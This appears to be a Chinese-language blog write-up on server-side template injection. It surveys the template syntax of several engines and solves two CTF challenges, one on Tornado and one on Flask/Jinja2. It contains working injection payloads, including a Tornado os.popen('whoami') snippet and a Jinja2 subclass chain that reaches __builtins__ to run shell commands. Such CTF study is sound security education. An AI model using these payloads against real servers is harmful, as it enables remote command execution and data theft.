ssti模板注入

前言

啊哈哈哈哈,ssti,不玩阴的,直接来吧。

什么是模板

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的
语言表达式,以呈现动态内容。

什么是ssti(模板注入)

当前使用的一些框架已经形成了非常成熟的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句。
凡是存在使用模板的地方都有可能存在ssti。

常见模板引擎汇总及tag

php

  • Smarty:{php}payload;{/php}{payload}{if payload}{/if}
  • Twig:{{payload}}
  • Blade:详见Blade模板引擎

Java

  • FreeMarker:${payload}<#payload>
  • velocity:#set($x=payload)${x}

Python

  • Flask/Jinja2:{{payload}}
  • Tornado:{{payload}}{% import os %}{{ os.popen("whoami").read() }}
  • Django:{{payload}}{%payload%}

攻击思路

我们进行ssti,目的一般都是为了创建对象、文件读写、远程文件包含、信息泄漏、提权等等。为了达成目的,我们必须找到适当的注入点进行攻击。
首先寻找模板本身支持的语法、内置的变量、属性、函数等等,接着是框架的全局变量、函数、属性等,再然后我们考虑语言本身的特性,最后以上都不行的情况下再考虑应用本身存在的变量。

[护网杯 2018]easy_tornado

这题的难点不在ssti上。首先进入题目三个文件,第一个告诉我们flag的文件名称,第二个提示我们render,第三个给我们一串加密逻辑:

1
md5(cookie_secret+md5(filename))

我们观察url不难发现这个加密逻辑应该是filehash的逻辑,而我们只要将/fllllllllllllag对应的filehash算出来就可以了。但是这里有一个cookie_secret,结合提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页render配合Tornado使用,我们猜测这里有一个ssti。
随意更改url进入error界面,我们发现url中有msg参数,进行模板测试:

存在ssti,我们将msg改为获取cookie_secret:

最后编写脚本获取filehash:

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="6cd6901e-7485-435e-a8f7-aef19adf1227"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

//582be1f6041bc39f2fdbed73bf1196fe

最后构建url获取flag:

[Flask]SSTI

通过查询源码发现存在ssti:

1
2
3
4
5
6
7
8
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>

GET一个name参数测试,发现确实存在ssti:

根据题目判断这提示flask ssti,那么先获取子类名:

1
?name={{[].__class__.__bases__[0].__subclasses__()}}

接着查看源码获取子类,我们需要找的大概是以下三类:
一是file模块中的read功能,用来读取各种文件,敏感信息等。
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

写脚本来获取子类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def find():
list = ""
list = list.replace('\'','')
list = list.replace('<','')
list = list.replace('>','')
list = list.replace('class ','')
list = list.replace('enum ','')
list = list.replace('type ','')
list = list.replace(' ','')
list = list.split(',')
print(list)
className = 'warnings.catch_warnings' #需要查找的模块名称
num = list.index(className)
print(num) #返回索引
if __name__ == '__main__':
find()

找到位置为166,接着查询全局变量:

1
?name={{[].__class__.__bases__[0].__subclasses__()[166].__init__.__globals__}}

发现OSError,说明可以自己导入os模块,本来以为是cat /flag,查了wp才发现是在环境变量中:

1
{{[].__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()")}}